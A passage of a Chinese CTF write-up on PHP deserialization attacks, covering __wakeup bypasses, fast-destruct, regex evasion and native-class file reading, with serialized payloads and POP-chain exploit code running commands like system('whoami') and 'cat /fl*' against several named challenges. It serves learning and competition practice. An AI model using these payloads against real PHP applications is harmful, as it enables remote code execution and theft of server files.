最后再把PHPSESSID的值设为我们exp中的PHPSESSID的值,正常访问

在这里插入图片描述

拿到flag

其他小知识

__wakeup绕过

__wakeup也是一种魔术方法, 调用**unserialize()时 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。 **_wakeup()方法的目的是在反序列化后执行一些特定的操作,以还原对象的状态或执行其他必要的逻辑。在ctf中,会用__wakeup修改变量,阻止pop链的起点触发,如:

<?php
highlight_file(__FILE__);
class Man
{
        public $name;
  function __wakeup()
  {
     echo "wakeup is call";
     $this->name='phpinfo();';
  }
  function __destruct()
  {
     eval($this->name);
  }

}
unserialize($_GET['a']);
?>

这里的__wakeup会把name修改为phpinfo,传入的序列化字符串中即使有其他命令也无法执行,如

在这里插入图片描述

看起来很安全,其实也有绕过的方法

修改变量数

要求版本:PHP5 < 5.6.25、PHP7 < 7.0.10

当序列化字符串中属性值大于属性个数,就会导致反序列化异常,被PHP当作垃圾回收,提前触发__destruct__(也叫fast-desturct),从而跳过__wakeup(),

这里一道经典题为例子:[极客大挑战 2019]PHP

源码:

index.php
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
        
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

可以看到,Name类中,读取flag需要username为admin,但是__wakeup方法会把username变为guest,需要绕过,两个变量是private属性,需要url编码

在这里插入图片描述

F12看到php版本为5.3,修改属性值就行,

在这里插入图片描述

把2改为3

O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

在这里插入图片描述

成功

使用引用

这个方法的条件是:1.类中有多个变量 2.在触发点函数中使用或赋值了变量

修改一下上面的demo

highlight_file(__FILE__);
class Man
  {
        public $info;
        public $name;
  function __wakeup()
  {
     echo "wakeup is call";
     $this->name='';
  }

  function __destruct()
  {
     $info='helloworld';
     if ($name)
     {
             echo file_get_contents("flag.php");
     }
  }
unserialize($_GET['a'];

如果要读取flag,name不能为空,可是name在__wakeup方法中就被置为空,可以利用变量引用绕过,变量引用就是使用&符号,如,$a=&$b;a被赋值为b的引用,那么 a , a, a,b,实际指向同一块内存,修改其中一个,另外一个也会随之改变

在exp中,这样写

$a=new Man();
$a->info=&$a->name;
echo serialize($a);

把info设置为name的引用,它们使用同一块内存,在__wakeup中即使name被置为空,但在__destruct中info又被赋予了值,name的值也同样被改为helloworld,就能成功读取flag

所以利用条件为:1.类中有多个变量 2.在触发点函数中使用或赋值了变量

在这里插入图片描述

fast-destruct

利用条件:__destruct__wakeup不在同一个类

demo

<?php
highlight_file(__FILE__);
class A
{
    public $info;
    private $end = "1";

    public function __destruct()
    {
        $this->info->func();
    }
}
class B
{
    public $end;
    public function __wakeup()
    {
        $this->end = "exit();";
        echo '__wakeup';
    }
    public function __call($method, $args)
    {
        eval($this->end);
    }
}
unserialize($_POST['data']);

如果传正常payload,会触发B的__wakeup,导致命令无法执行,可是如果破坏一下序列化数据结构,导致B对象不能被正常还原,出现了异常,php会把这个不正常的数据当做垃圾销毁回收,提前触发__destruct,原本的方法执行顺序改变,B的__wakeup的执行被延后

正常          	   ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";}
减少闭合}      	   ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";
增加;         	   ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";;}
修改表示长度的值      ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:6:"end";s:1:"1";} #3改为了6

最后一个修改表示长度的值影响版本是:7.4.x -7.4.30,8.x,大佬文章:https://github.com/php/php-src/issues/9618

在这里插入图片描述

在本地测试时发现一个小问题,就是如果__wakeup里只有一个die,那么这个die执行了,反序列化还是会完整进行,能够执行命令,不知道是不是我的demo问题,求大佬告知

在这里插入图片描述

throw Exception绕过

如果在反序列化后,主动抛出一个异常,__destuct不会被执行,在上面__wakeup的demo,最后加上 throw new Exception(“No!”);

在这里插入图片描述

如果正常传入,会爆出异常,无法执行

fast-destruct的破坏数据结构的方法可以绕过,结束

非公有属性绕过

对于private,protected等属性,为与public属性区分开,php在序列化private属性时,会在属性名前加上\0(对象类名)\0,protected会在属性名前加上\0*\0,\0是不可见字符,无法直接打印出来,url编码为%00后,方可显示,如:

在这里插入图片描述

对于php版本7.1+,像我本地的7.3.4,反序列化对象的某个属性时,即使这个属性是private或protected,遇到的是公有属性序列化字符串,也会成功反序列化,如:

在这里插入图片描述

如果版本不符,就只能通过url编码传入数据

正则匹配序列化绕过

这一个知识点我还没遇到过(刷题太少,玩星穹太多导致的),借鉴大佬的文章来学习:https://blog.csdn.net/m0_64815693/article/details/127982134,以后做题有遇到再补充

preg_match(‘/^O:\d+/’)

这个就是匹配字符串开头是不是O:,且:后面第一个字符是不是数字,正常序列化对象字符串都是,写exp时,我们可以把对象放入一个数组中再序列化,反序列化会先还原数组,再还原对象,两个过程互不干扰,这样序列化字符串开头就是a:\d,绕过这个正则,如:

$a=new Man();
$b=array($a);
echo serialize($b);
结果
a:1:{i:0;O:3:"Man":3:{s:4:"name";s:5:"hello";s:4:"info";s:5:"wrold";s:3:"age";i:10;}}

在这里插入图片描述

大佬及网上的其他文章都介绍了另一种方法,就是O:后的数字前加上+,如O:+3,但我在本地实验时,这个方法会报错,导致反序列化失败,应该是php版本问题

preg_match('/^[Oa]:\d+/')

如果是这样匹配,转为array没办法绕过,可以尝试转为C,查阅资料得知,C表示的用户自定义类,但我们利用的明明是php的原生类,具体原理可看上面大佬的另一个文章,https://blog.csdn.net/m0_64815693/article/details/130038356

我简单记录一下利用方法,1.首先找所有实现了serialize接口的类,如下:

ArrayObject
ArrayIterator
RecursiveArrayIterator
SplDoublyLinkedList
SplQueue
SplStack
SplObjectStorage

选择上面的一个类,生成实例对象,随便赋值一个属性为我们pop链的起点类即可,exp:如下

$a=new A();
$a->info=new B();
$c=new ArrayObject();
$c->a=$a;
echo serialize($c);
// C:11:"ArrayObject":117:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:17:"system('whoami');";}s:3:"end";s:1:"1";}}}  

这个方法只能绕过正则,wakeup和异常无法绕过

在这里插入图片描述

类名大小写不敏感

php反序列化对类名的大小写不敏感,在我有类A和类B的demo中,传下面的字符串也能成功

O:1:"a":2:{s:4:"info";O:1:"b":1:{s:3:"end";s:17:"system('whoami');";}s:3:"end";s:1:"1";}

16进制绕过关键字检测

在这里插入图片描述

序列化中表示字符串的s,如果为大写,后面跟十六进制数据,在反序列化时也能成功读取

原生类利用

php有一些原生类可以用来扫描目录或读取文件,但php4.3之后,这些原生类被禁止用serialize或unserialize来处理,除非题目能主动生成这个对象,所以感觉用处有限,就先简单记录一下这些原生类的使用,以后遇到相关题型再来补充

从这篇大佬的文章来学习:https://blog.csdn.net/qq_39947980/article/details/136723533

能扫目录的三个类

DirectoryIterator(支持glob://协议),如:DirectoryIterator(glob://*flag*)
FilesystemIterator(继承自1,同上),也可以直接输入路径,如:new FilesystemIterator('./')
GlobIterator(相等于自带glob协议的DirectoryIterator)

存在toString方法,直接echo 只能打印第一个文件,foreach遍历可以打印所有文件

在这里插入图片描述

文件读取类

SplFileObject :存在toString方法,同目录扫描类,直接echo返回第一行内容,遍历才能读取所有内容,或者配合伪协议读取文件

在这里插入图片描述

题目实战

反序列化题目代码都挺长的,只复制关键部分过来

网鼎杯 2020 青龙组AreUSerialz

关键部分,这一题只有一个类,可以利用的关键部分如下:

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

利用file_get_contents获取flag,源码提示就在flag.php因此控制filename为flag.php即可,考点在这里:

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

process和__destruct这两个地方,把op设为数字2即可,php弱类型比较是相等的

is_valid这个函数检查序列化字符串是不是都是有效字符,题目类的属性都是protect,如果直接用url编码输出,%00就是\0,无法通过检查,看看题目php版本

在这里插入图片描述

7.4.3,直接把类的属性都改为public即可,最后payload

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

在这里插入图片描述

[GDOUCTF 2023]反方向的钟

题目在nssctf平台:https://www.nssctf.cn/problem/3723

题目关键部分:

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}
if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

源码提示flag.php,且在schoo类中的IPO方法中,有帮我们new 对象,那就考虑原生类SplFileObject读取flag,

很简单的pop链,school:__wakeup->classrom:haha ->classrom->name=new teahcher('ing','department') ->school:IPO

exp:

$a=new school();
$a->department=new classroom();
$a->department->name='one class';
$a->department->leader=new teacher('ing','department');
$a->headmaster='ong';
echo base64_encode(serialize($a));

在这里插入图片描述

在这里插入图片描述

[GHCTF 2024 新生赛]ezzz_unserialize

题目在nssctf平台:https://www.nssctf.cn/problem/5162

题目关键部分:

class Heraclqs{
    public $grape;
    public $blueberry;
    public function __invoke(){
        //blueberry=aW8
        if(md5(md5($this -> blueberry)) == 123) {
            return $this -> grape -> hey;
        }
    }
}

这里需要blueberry两次md5后,以123开头,要跑脚本,大佬脚本如下

import hashlib
import itertools

def brute_force_md5():
    # 使用字母表和数字进行字符的尝试
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    
    # 迭代尝试所有可能的字符组合
    for text in itertools.product(charset, repeat=3):
        text = ''.join(text)
        hash1 = hashlib.md5(text.encode()).hexdigest()
        hash2 = hashlib.md5(hash1.encode()).hexdigest()
        # 检查是否满足条件
        if hash2.startswith("123") and hash2[3].isalpha():
            # 输出满足条件的字符串
            print("满足条件的字符串:", text + "(两次MD5加密后为:" + hash2 + ")")
            break

# 运行爆破
brute_force_md5()

构造pop链时,可能有多个类的都有同样符合的触发条件的魔术方法,要选能简单利用的

pop链的终点选为这个类

class E{
    public $e;
    public function __get($arg1){
        array_walk($this, function ($Monday, $Tuesday) {
            $Wednesday = new $Tuesday($Monday);
            foreach($Wednesday as $Thursday){
                echo ($Thursday.'<br>');
            }
        });
    }
}

array_walk就是遍历对象或数组,对其中的元素应用传入的回调方法,然后回调方法中有new 生成对象,所以一样用原生类来做,而且有foreach,扫描目录能获得完整信息

exp:

$a=new Sakura();
$a->apple=new UkyoTachibana();
$a->apple->banana=new BasaraKing();
$a->apple->banana->orange=new Heraclqs() ;
$a->apple->banana->orange->blueberry='aW8';
$a->apple->banana->orange->grape=new E();
#扫描根目录
$a->apple->banana->orange->grape->DirectoryIterator='/';
#读取flag
$a->apple->banana->orange->grape->SplFileObject='php://filter/read=convert.base64-encode/resource=/1_ffffffflllllagggggg';

读取flag时还是习惯性的用了过滤器

在这里插入图片描述

在这里插入图片描述

newstarctf2023 more fast

buu上的,源码关键部分

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

题目也提示more fast,所以这题直接破坏数据结构,fast-destruct就ok

exp:

$a= new Start();
$a->errMsg=new Crypto();
$a->errMsg->obj=new Reverse();
$a->errMsg->obj->func=new Pwn();
$a->errMsg->obj->func->obj=new Web();
$a->errMsg->obj->func->obj->func='system';
$a->errMsg->obj->func->obj->var='ls /';
echo serialize($a);
#正常
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
#少一个},fast-destruct
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}
#通配符绕过正则,读取flag
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:8:"cat /fl*";}}}}}

!在这里插入图片描述

在这里插入图片描述

Web_php_unserialize

来自攻防世界

这一题源码不长:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

flag应该就在fl4g.php,要绕过__wakeup,还有正则,这个正则就是匹配了O,C:后跟一个数字,可以在用O:+4绕过,由于不是匹配开头,无法用数组绕过

看看php版本,能不能修改属性过__wakeup

在这里插入图片描述

版本正确,可以修改,exp如下:

class Demo { 
    private $file = 'fl4g.php';
    
}
$a=new Demo();
$str=str_replace("O:4","O:+4",serialize($a));
$str=str_replace(':1:',':4:',$str);
echo base64_encode($str);

!在这里插入图片描述

成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1590717.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CentOS 网卡ifcfg-eth0 ping不通外网(www.baidu.com)

1、如果确认好就直接激活网卡&#xff01; ifup eth0 2、慢慢找&#xff1a; cd /etc/sysconfig/network-scripts/ ls 找到你的网卡是啥&#xff0c;这里网卡是 ifcfg-eth0 执行1就好了&#xff01;

基于ssm会员卡管理系统的设计与实现论文

摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本会员卡管理系统就是在这样的大环境下诞生&#xff0c;其可以帮助管理者在短时间内处理完毕庞大的数据信息&…

自媒体ai写作成长之路:8款工具助力你飞得更高! #学习#科技#科技

在当今信息爆炸的时代&#xff0c;写作成为了人们表达思想、分享知识和传递情感的重要方式之一。对于很多人来说&#xff0c;写作并非易事。我们会陷入困境&#xff0c;无法找到灵感&#xff0c;我们会苦恼于语言表达的准确性&#xff0c;还有时候我们可能遭遇到了创作瓶颈&…

未来汽车硬件安全的需求(2)

目录 4.汽车安全控制器 4.1 TPM2.0 4.2 安全控制器的硬件保护措施 5. EVITA HSM和安全控制器结合 6.小结 4.汽车安全控制器 汽车安全控制器是用于汽车工业安全关键应用的微控制器。 他们的保护水平远远高于EVITA HSM。今天的典型应用是移动通信&#xff0c;V2X、SOTA、…

Ubuntu日常配置

目录 修改网络配置 xshell连不上怎么办 解析域名失败 永久修改DNS方法 临时修改DNS方法 修改网络配置 1、先ifconfig确认本机IP地址&#xff08;刚装的机子没有ifconfig&#xff0c;先apt install net-tools&#xff09; 2、22.04版本的ubuntu网络配置在netplan目录下&…

C++ 类和对象 上

目录 前言 什么是面向对象&#xff1f;什么是面向过程&#xff1f; 面向过程 面向对象 比较 类 引入 定义 实例化 类的大小 this指针 前言 今天我们来进入C类和对象的学习。相信大家一定听说过C语言是面向过程的语言&#xff0c;而C是面向对象的语言&#xff1f;那么他…

[当人工智能遇上安全] 13.威胁情报实体识别 (3)利用keras构建CNN-BiLSTM-ATT-CRF实体识别模型

《当人工智能遇上安全》系列将详细介绍人工智能与安全相关的论文、实践&#xff0c;并分享各种案例&#xff0c;涉及恶意代码检测、恶意请求识别、入侵检测、对抗样本等等。只想更好地帮助初学者&#xff0c;更加成体系的分享新知识。该系列文章会更加聚焦&#xff0c;更加学术…

微信小程序全屏开屏广告

效果图 代码 <template><view><!-- 自定义头部 --><u-navbar title" " :bgColor"bgColor"><view class"u-nav-slot" slot"left"><view class"leftCon"><view class"countDown…

2024-简单点-观察者模式

先看代码&#xff1a; # 导入未来模块以支持类型注解 from __future__ import annotations# 导入抽象基类模块和随机数生成器 from abc import ABC, abstractmethod from random import randrange# 导入列表类型注解 from typing import List# 定义观察者模式中的主体接口&…

Rocky(Centos)数据库等高并发或高io应用linux系统调优,及硬件问题排查(含网络、磁盘、系统监控)

一、系统参数优化 默认的最大打开文件数是1024.不满足生产环境的要求。按照如下配置&#xff1a; 1、修改 systemctl管理的 servie 资源限制 编辑/etc/systemd/system.conf # 全局的打开文件数 DefaultLimitNOFILE2097152 # 全局打开进程数 DefaultLimitNPROC655352、调整系…

【Vue3 + ElementUI】表单校验无效(写法:this.$refs[‘formName‘].validate((valid) =>{} ))

一. 表单校验 1.1 template模块 el-form 中 若校验&#xff0c;ref 和 rules 必须要有 <template><div style"padding:20px"><el-form ref"formName" :model"form" :rules"formRules" label-width"120px"…

Docker 学习笔记(七):介绍 Dockerfile 相关知识,使用 Dockerfile 构建自己的 centos 镜像

一、前言 记录时间 [2024-4-12] 系列文章简摘&#xff1a; Docker学习笔记&#xff08;二&#xff09;&#xff1a;在Linux中部署Docker&#xff08;Centos7下安装docker、环境配置&#xff0c;以及镜像简单使用&#xff09; Docker 学习笔记&#xff08;三&#xff09;&#x…

LDF、DBC、BIN、HEX、S19、BLF、ARXML、slx等

文章目录 如题 如题 LDF是LIN报文格式文件&#xff0c;把这个直接拖到软件里面&#xff0c;可以发报文和接收报文 DBC是CAN报文格式文件&#xff0c;把这个直接拖到软件里面&#xff0c;可以发报文和接收报文 BIN文件烧录在BOOT里面&#xff08;stm32&#xff09;&#xff0c…

适用于 Windows 的 10 个免费数据恢复工具集合

有时&#xff0c;我们都会在个人计算机上意外删除一些重要文件或数据。我们无需再担心此类问题&#xff0c;因为我们可以借助互联网上提供的免费数据恢复工具来恢复宝贵的数据和图像。 互联网上有许多免费的数据恢复工具&#xff0c;从一长串工具中&#xff0c;我们列出了最好…

蓝桥杯-STL-string

目录 字符串定义 字符串初始化 字符串输入输出 字符串输出 字符串输入 字符串访问 字符串拷贝 字符串拼接 直接相加 append(const char*str,int n) 字符串比较 ​编辑字符串长度length()/size() 字符串查找find(string str) 查找子串substr(int a,int b) 字符串的…

webpack-loader的使用

引入css后执行打包命令 "build": "npx webpack --config wk.config.js"发现报错&#xff1a; webpack默认只能处理js其他的像css,图片都需要借助loader来处理 css-loader loader可以用于对模块的源代码进行转换&#xff0c;可以把css看成一个模块&…

Transformer模型-decoder解码器,target mask目标掩码的简明介绍

今天介绍transformer模型的decoder解码器&#xff0c;target mask目标掩码 背景 解码器层是对前面文章中提到的子层的包装器。它接受位置嵌入的目标序列&#xff0c;并将它们通过带掩码的多头注意力机制传递。使用掩码是为了防止解码器查看序列中的下一个标记。它迫使模型仅使用…

【高效开发工具系列】obsutil安装与使用

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

广州图创 图书馆集群管理系统 updOpuserPw SQL注入漏洞复现

0x01 产品简介 广州图创计算机软件开发有限公司是集产品研发、应用集成、客户服务为一体的高新技术企业,主要目标是为图书馆行业用户提供高质量的应用软件系统设计、集成和维护服务。 0x02 漏洞概述 由于广州图创 图书馆集群管理系统 updOpuserPw 接口处未对用户输入的SQL语…

minio-docker单节点部署SDK测试文件上传下载

目录 一&#xff0c;docker部署minio单节点单磁盘 二&#xff0c;SDK测试上传下载 一&#xff0c;docker部署minio单节点单磁盘 1.拉取镜像 # 下载镜像 docker pull minio/minio 2.查看镜像 docker images 3.启动minio(新版本) 创建本机上的挂载目录&#xff0c;这个可以…